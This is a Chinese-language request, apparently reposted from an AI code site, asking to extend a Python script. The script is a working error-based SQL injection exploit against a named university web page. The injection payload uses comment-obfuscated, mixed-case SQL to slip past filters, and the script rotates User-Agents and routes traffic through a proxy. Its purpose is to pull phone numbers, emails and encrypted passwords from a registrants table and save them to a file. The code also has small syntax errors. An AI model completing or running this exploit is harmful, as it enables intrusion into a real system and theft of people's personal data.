再实现下面的内容在params中column_names是要依次查询 column_names = celular email2 telefono contraseniacrypt这几个celular email2 telefono contraseniacrypt字段中的内容并以此写入params = id query + 2f2f2f2fsElEcT+1+2f2f2f2ffRo
import requests import random
随机User-Agent
user_agents = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" ]
使用随机的User-Agent头
def get_random_user_agent(): return random.choice(user_agents)
proxies = {'http': 'http://127.0.0.1:7890', 'https': 'http://127.0.0.1:7890'}
请求数据
def request_data(query, column_names, table_name, url, lastchaxun): headers = { 'User-Agent': get_random_user_agent() }
params = {
'id': query + "(%2f**%2f%2f**%2fsElEcT+1+%2f**%2f%2f**%2ffRoM(%2f**%2f%2f**%2fsElEcT+count(*),%2f**%2f%2f**%2fcOnCaT((%2f**%2f%2f**%2fsElEcT(%2f**%2f%2f**%2fsElEcT(%2f**%2f%2f**%2fsElEcT+%2f**%2f%2f**%2fcOnCaT(0x7e,ifnull(column_names,char(32)),0x7e)+%2f**%2f%2f**%2ffRoM+encuentro08.inscriptos_09+%2f**%2f%2f**%2flImIt+1772,1))+%2f**%2f%2f**%2ffRoM+information_schema.%2f**%2f%2f**%2ftAbLeS+%2f**%2f%2f**%2flImIt+0,1),floor(rand(0)*2))x+%2f**%2f%2f**%2ffRoM+information_schema.%2f**%2f%2f**%2ftAbLeS+%2f**%2f%2f**%2fgRoUp%2f**%2fBy+x)a)" + lastchaxun
}
response = requests.get(url, params=params, headers=headers, proxies=proxies, verify=False, timeout=10)
return response.text
if name == 'main': url = "https://fido.palermo.edu/servicios_dyc/noticiasdc/mas_informacion.php?id_noticia=1140" # please fill actual url. query = "+and+1=" lastchaxun = "+and+1=1" column_names = ["celular", "email2", "telefono", "contraseniacrypt"] table_name = "encuentro08.inscriptos_09"
# 储存数据
with open('output.txt', 'w', encoding='utf-8') as f:
for column_name in column_names:
response_text = request_data(query, column_name, table_name, url, lastchaxun)
response_text = response_text[response_text.index('~')+1:response_text.index('~1')]
f.write("Data for {}: {}\n".format(column_name, response_text)
原文地址: https://www.cveoy.top/t/topic/ihBy 著作权归作者所有。请勿转载和采集!